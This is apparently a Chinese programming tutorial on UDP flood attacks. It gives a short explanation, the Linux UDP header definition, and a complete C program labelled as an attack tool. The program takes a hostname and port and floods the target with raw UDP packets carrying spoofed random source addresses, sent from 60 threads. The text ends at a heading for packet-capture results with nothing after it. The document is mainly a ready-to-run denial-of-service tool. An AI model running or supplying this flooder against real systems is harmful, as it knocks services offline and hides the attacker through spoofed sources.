UDP攻击,又称UDP洪水攻击或UDP淹没攻击(英文:UDP Flood Attack)是导致基於主机的服务拒绝攻击的一种。UDP 是一种无连接的协议,而且它不需要用任何程序建立连接来传输数据。当受害系统接收到一个 UDP 数据包的时候,它会确定目的端口正在等待中的 应用程序。当它发现该端口中并不存在正在等待的应用程序,它就会产生一个目的地址无法连接的 ICMP数据包发送给该伪造的源地址。如果向受害者计算机端口发送了足够多的 UDP 数据包的时候,整个系统就会瘫痪。
下面是UDP报文格式:
Linux系统中定义的UDP报文格式:
#ifndef __NETINET_UDP_H
#define __NETINET_UDP_H 1
#include <features.h>
#include <sys/types.h>
/* UDP header as specified by RFC 768, August 1980. */
struct udphdr
{
__extension__ union
{
struct
{
u_int16_t uh_sport; /* source port */
u_int16_t uh_dport; /* destination port */
u_int16_t uh_ulen; /* udp length */
u_int16_t uh_sum; /* udp checksum */
};
struct
{
u_int16_t source;
u_int16_t dest;
u_int16_t len;
u_int16_t check;
};
};
};
/* UDP socket options */
#define UDP_CORK 1 /* Never send partially complete segments. */
#define UDP_ENCAP 100 /* Set the socket to accept
encapsulated packets. */
/* UDP encapsulation types */
#define UDP_ENCAP_ESPINUDP_NON_IKE 1 /* draft-ietf-ipsec-nat-t-ike-00/01 */
#define UDP_ENCAP_ESPINUDP 2 /* draft-ietf-ipsec-udp-encaps-06 */
#define UDP_ENCAP_L2TPINUDP 3 /* rfc2661 */
#define SOL_UDP 17 /* sockopt level for UDP */
#endif /* netinet/udp.h */
接触了前面的实例后,编写UDP报文是很简单的,下面是实例代码:
//udp攻击
//使用方法:./udp hostname destport
#include <stdio.h>
#include <ctype.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <pthread.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <string.h>
#include <syslog.h>
#include <arpa/inet.h>
#include <setjmp.h>
#include <errno.h>
//最多线程数
#define MAXCHILD 60
//目的IP地址
struct sockaddr_in dest;
static int PROTO_UDP=-1;
static int alive=-1;
int rawsock;
//信号处理函数,设置退出变量alive
void DoS_sig(int signo)
{
alive = 0;
}
//计算校验和
unsigned short checksum(unsigned char *buf,int len)
{
unsigned int sum=0;
unsigned short *cbuf;
cbuf=(unsigned short *)buf;
while(len>1)
{
sum+=*cbuf++;
len-=2; //剩余尚未累加的16比特的个数
}
if(len) //若len的长度不是偶数
sum+=*(unsigned char *)cbuf; //用最后一个字节补齐
//防溢出处理
sum=(sum>>16)+(sum & 0xffff);
sum+=(sum>>16);
return ~sum;
}
void DoS_Udp (int port)
{
struct sockaddr_in to;
struct ip *iph;
struct udphdr *udp;
char *packet;
int pktsize = sizeof (struct ip) + sizeof (struct udphdr) + 64;
packet =(char *)malloc (pktsize);
iph = (struct ip *) packet; //定位IP报头部
udp = (struct udphdr *) (packet + sizeof (struct ip)); //定位上层协议位置(udp报文头部)
memset (packet, 0, pktsize);
//IP的版本,IPv4
iph->ip_v = 4;
//IP头部长度,字节数
iph->ip_hl = 5;
//服务类型
iph->ip_tos = 0;
//IP报文的总长度
iph->ip_len = htons (pktsize);
//标识,设置为PID
iph->ip_id = htons (getpid ());
//段的偏移地址
iph->ip_off = 0;
//TTL
iph->ip_ttl = 255;
//协议类型
iph->ip_p = PROTO_UDP;
//校验和,先填写为0
iph->ip_sum = 0;
//发送的源地址,随机创建
iph->ip_src.s_addr =random();
//发送目标地址
iph->ip_dst = dest.sin_addr;
udp->uh_sport=random();
udp->uh_dport=htons(port);
udp->uh_ulen=sizeof(udphdr)+64;
udp->uh_sum=0;
udp->uh_sum=checksum((unsigned char*)udp, sizeof(udphdr)+64);
//填写发送目的地址部分
to.sin_family = AF_INET;
to.sin_addr = dest.sin_addr;
to.sin_port = htons(0);
//发送数据
sendto (rawsock, packet, pktsize, 0, (struct sockaddr *) &to, sizeof (struct sockaddr));
//放内存
free (packet);
}
void *DoS_fun (void *port)
{
while(alive)
{
DoS_Udp(*(int*)port);
// break;
}
return NULL;
}
int main(int argc,char **argv)
{
int port;
struct hostent *host;
struct protoent *protocol;
char protoname[]="udp";
pthread_t pthread[MAXCHILD]; //线程标志数组
socklen_t on=1;
alive = 1;
//截取信号CTRL+C
signal(SIGINT, DoS_sig);//设置信号处理函数
// 参数是否数量正确
if(argc < 3)
{
printf("usage : \n");
return -1;
}
port=atoi(argv[2]);
protocol=getprotobyname(protoname);
PROTO_UDP=protocol->p_proto;
dest.sin_addr.s_addr = inet_addr(argv[1]);
if(dest.sin_addr.s_addr == INADDR_NONE)
{
//为DNS地址
host = gethostbyname(argv[1]);
if(host == NULL)
{
perror("gethostbyname");
return -1;
}
char str[30];
// printf("host:%s\n",inet_ntop(host->h_addrtype,host->h_addr,str,30));
struct in_addr in;
memcpy(&in.s_addr,host->h_addr_list[0],sizeof(in.s_addr));
//printf("ip:%s\n",inet_ntoa(in));
dest.sin_addr=in;
}
printf("ip:%s\n",inet_ntoa(dest.sin_addr));
// 建立原始socket
rawsock = socket (AF_INET, SOCK_RAW, PROTO_UDP);
if (rawsock < 0)
{
perror("socket error");
exit(1);
}
// 设置IP选项,自己构建IP报头部
setsockopt (rawsock,IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));
//建立多个线程协同工作
for(int i=0; i<MAXCHILD; i++)
{
pthread_create(&pthread[i], NULL, DoS_fun, (void *)&port);
}
//等待线程结束
for(int i=0; i<MAXCHILD; i++)
pthread_join(pthread[i], NULL);
printf("over \n");
close(rawsock);
return 0;
}
结果抓包: